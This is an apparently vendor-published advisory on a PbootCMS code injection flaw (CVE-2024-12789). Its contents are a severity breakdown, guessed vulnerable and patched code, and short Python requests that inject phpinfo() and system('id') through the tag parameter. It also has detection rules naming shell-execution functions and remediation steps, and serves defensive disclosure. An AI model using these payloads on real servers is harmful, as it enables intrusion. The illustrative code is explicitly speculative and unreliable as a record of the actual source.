CVE-2024-12789
Executive Summary
CVE-2024-12789 is a critical code injection vulnerability in PbootCMS, a popular content management system. The flaw resides in the apps/home/controller/IndexController.php file, where the tag argument is improperly sanitized, allowing an attacker to inject and execute arbitrary code. This vulnerability can be exploited remotely without authentication, leading to full system compromise. A proof-of-concept (PoC) exploit has been publicly disclosed, increasing the risk of active exploitation. The vendor has released version 3.2.4 to address this issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a PHP-based CMS. The risk is primarily to organizations using PbootCMS directly.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability.
Deep Dive & Mechanics
The vulnerability is a classic code injection (CWE-94) in the IndexController.php file. The tag parameter is passed to a function that evaluates or includes user-supplied input without proper sanitization. An attacker can craft a malicious tag value containing PHP code, which is then executed by the server. This allows for arbitrary code execution, file upload, data exfiltration, and complete server takeover.
The exploit is straightforward: by sending a specially crafted HTTP request to the vulnerable endpoint, the attacker can inject PHP code that gets executed in the context of the web application.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 3.2.3):
The vulnerable code likely uses eval() or include() with unsanitized user input from the tag parameter.
// apps/home/controller/IndexController.php (vulnerable)
public function index() {
$tag = $_GET['tag'];
eval("\$result = $tag;"); // Insecure: direct eval of user input
// or
include("path/to/templates/$tag.php"); // Insecure: path traversal + inclusion
}
Patched Code (version 3.2.4):
The patched version sanitizes the tag parameter, likely by using a whitelist of allowed values or by properly escaping the input.
// apps/home/controller/IndexController.php (patched)
public function index() {
$tag = $_GET['tag'];
$allowed_tags = ['default', 'news', 'product']; // Whitelist approach
if (in_array($tag, $allowed_tags)) {
// Safe processing
} else {
// Handle invalid tag
}
}
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install PbootCMS version 3.2.3 on a local server (e.g., using Docker or XAMPP).
- Ensure the web server is accessible from the attacker machine.
Exploit:
The following Python script demonstrates exploitation by injecting a simple phpinfo() call.
import requests
target_url = "http://target.com/index.php?tag=phpinfo()"
response = requests.get(target_url)
print(response.text)
For a more advanced payload, an attacker could use a web shell:
import requests
target_url = "http://target.com/index.php?tag=system('id')"
response = requests.get(target_url)
print(response.text)
Blue Team (Defensive)
Detection:
- Monitor for unusual HTTP requests containing
tagparameter with PHP code (e.g.,system,exec,eval). - Use WAF rules to block requests with suspicious
tagvalues. - Implement input validation and sanitization for all user-supplied parameters.
Hunting:
- Search web server logs for requests to
index.phpwith atagparameter containing PHP functions. - Look for unexpected file modifications or new files in the web root.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
index.phpwithtagparameter containing PHP code (e.g.,tag=system('id')). - Outbound connections from the web server to unknown IPs (potential C2).
- HTTP requests to
- File System:
- Unexpected PHP files in the web root (e.g.,
shell.php,cmd.php). - Modified
IndexController.phpor other core files.
- Unexpected PHP files in the web root (e.g.,
- Process:
- Unusual PHP processes executing system commands.
Detection Engineering
YARA Rule
rule CVE_2024_12789_PbootCMS_CodeInjection {
meta:
description = "Detects exploitation attempts of CVE-2024-12789 in PbootCMS"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12789"
strings:
$php_func = /(system|exec|shell_exec|passthru|eval|assert|popen|proc_open|pcntl_exec)/
$tag_param = "tag="
condition:
$tag_param and $php_func
}
Sigma Rule
title: CVE-2024-12789 PbootCMS Code Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-12789
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-12789
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'tag='
cs-uri-query|re: '(system|exec|shell_exec|passthru|eval|assert|popen|proc_open|pcntl_exec)'
condition: selection
falsepositives:
- Legitimate use of PHP functions in tag parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12789 PbootCMS Code Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"tag="; http_uri; pcre:"/(system|exec|shell_exec|passthru|eval|assert|popen|proc_open|pcntl_exec)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade PbootCMS to version 3.2.4 or later.
- Workaround: If immediate upgrade is not possible, implement a WAF rule to block requests with suspicious
tagparameters. - Long-term: Conduct a security audit of the application to identify and fix similar vulnerabilities. Implement input validation and output encoding throughout the codebase.
- Monitoring: Enable detailed logging and monitor for exploitation attempts.
Valters IT